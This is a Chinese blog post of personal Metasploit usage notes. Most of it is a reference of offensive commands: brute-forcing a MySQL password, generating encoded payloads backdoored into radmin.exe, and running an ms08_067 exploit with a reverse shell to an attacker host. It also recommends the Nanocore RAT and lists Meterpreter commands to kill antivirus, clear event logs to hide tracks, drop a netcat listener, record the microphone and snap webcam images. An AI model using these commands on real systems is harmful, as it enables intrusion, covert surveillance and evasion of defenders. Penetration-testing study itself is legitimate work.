MSF使用记录

本文详细介绍了Metasploit(MSF)框架的架构、启动方式、数据库管理、常用命令及Meterpreter的使用。通过msfconsole接口,可以进行模块搜索、选项配置、payload生成、数据库操作和远程控制。Meterpreter提供了一系列高级命令,如进程控制、文件传输、权限提升等,增强了渗透测试的效率。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

msf架构:


Rex:调用的是操作系统中函数库,各种协议的沟通,协议的连接。是MSF依赖的基础。
MSF:core:最底层的库,MSF的核心库。
MSF:base: 由于核心库调用复杂凌乱,整理之后的结构为如下的几个模块,便于调用。
MSF:UI 用户界面。

启动:

kali虚拟机下直接点击图标就可以使用
关于MSF数据库

msfdb
在这里插入图片描述

msfdb init 初始化数据库
msfdb reinit 删除目前的的然后进行初化
msfdb delete 删除数据库,不在使用。


netstat -pantu |grep 5432
msf使用postgres数据库,在5432端口上。
在这里插入图片描述

msf渗透测试模块

放置位置:

/usr/share/metasploit-framework/modules

技术功能模块:
在这里插入图片描述

更新
msfupdate
基本使用
msfconsole 接口


1.banner
信息小贴士,每次敲出,提示的结果循环展示。

2.color
显示颜色,重要的模块或者区分时会自动标上不同颜色。
可以用color false取消,默认开启。

3.connect
连接命令,直接跟 ip:端口 地址会直接尝试连接。

4.show
重要命令,展示模块信息

例如,查看exploits

show exploits

6.search
在已有的模块中搜索相应的漏洞利用。

7.use
使用某个模块
例如:

use exploit/windows/http/serviio_checkstreamurl_cmd_exec

接着需要show options ,表示需要配置的参数,显示为yes的为必须配置的选项

use某个模块后一般使用的show命令。

show missing 查看需要配置但是还没配置的参数。

7.check,back
check 用来利用漏洞之前测试是否可用,back返回msf的根目录下。

db相关命令


db_status为状态语句
db_nmap 就可以在msf中直接执行nmap语句。

mysql_login
可以对mysql数据库密码进行爆破

msf auxiliary(mysql_login) > set BLANK_PASSWORDS true
BLANK_PASSWORDS => true

msf auxiliary(mysql_login) > set RHOSTS 192.168.1.3
RHOSTS => 192.168.1.3

set USERNAME root
USERNAME => root

run
[+] 192.168.1.3:3306      - 192.168.1.3:3306 - 
[-] 192.168.1.3:3306      - 192.168.1.3:3306 - 
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

密码并不为空,连接失败。

常用的其他控制台命令


setg 为设置全局,设置之后,无论调用哪个模块,它会自动设置参数为setg后的值。

引用外部的漏洞扫描

load 命令

例如

load nessus

loadpath 可以指定路径来执行自己保存的expliiot模块。

route命令用于控制了某个子网的一台机器的时候,可以用route来添加路由,方便进一步的渗透。

resource命令
资源文件,当我们拿到一个主机的shell的时候,我们可以把set等语句保存在一个文件里,例如a.rc,再次使用时直接调用这个资源文件,直接拿到shell,不用再次敲那么多命令了。

msfconcsol -r a.rc
生成payload


payload是可以直接拿来用的,选择使用哪个payload之后,我们可以用generate命令来生成payload,但是直接生成的payload会包含’坏字符’也就是在执行过程中被转义或者其他意思的字符,例如%00,%ff等。可以用generate -b 字符来对坏字符进行encoder,实现重新编码。

use payload/windows/shell_bind_tcp

generate -b '\x00'

generate -b '\x00xff'

指定encoder
generate -e x86/service

在这里插入图片描述

generate -b '\x00' -t exe -e x86/shikate_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe

恶意程序生成软件
Nanocore
下载地址

Meterpreter


显示桌面的进程为
:explorer.exe,kill掉这个进程,直接桌面不再显示。
基本命令

background 返回到之前的界面。

lpwd 显示攻击机的现在路径

lcd 指的是进入攻击机的某个目录

run 运行命令,包含200多个shell,例如:

bgrun killav //杀掉被攻击机的杀毒进程

bgrun 是在后天运行
在这里插入图片描述

clearev 用来清除日志,黑客用来将日志文件删除来确保行踪不被查到

cmd 下eventvwr 命令来查看系统日志

download 命名用来下载被攻击机的文件,保存在lpwd的目录下。

upload命令用来上传文件到目标主机,例如:

upload /var/share/windows-shell/nc.exe  C:\\Windows\\system32

execute 执行命令
例如:

execute -f nc.exe - nvlp 3333 

执行nc命令,在3333端口监听

补充:
netstat -aon 能看到所有的使用端口

netstat -aon | findstr “1544” 查看1544端口所占用的pid

tasklist | findstr “4300” 查看该进程的信息

dgservice.exe为驱动精灵的后台程序

getuid 为查看用户uid,getsystem倘若不是system用户,直接获取system权限。getprivs 查看当前权限,getpid查看进程号,因为它是以注入的方式依附在一个进程上,所以显示出某个程序的进程号。可以用migrate命令迁移。

下一页

idletime 显示操作系统已经空闲的时间,这个可以帮助我们推断机器是否有人在操控,避免操作冲突。

record_mic 监听被攻击机的录音
webcam_list 获取机器的web连接
webcam_snap -i 1 -v false 每隔1秒摄像头。

有关python

在这里插入图片描述

Msfcli(已经启用)

msfconsole -x "use exploit/windows/smb/ms08_067_netapi;
set RHOST 1.1.1.1; set PAYLOAD windows/meterpreter/ reverse_tcp;
set LHOST 1.1.1.8; set LPORT 5555; set target 34; exploit"
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值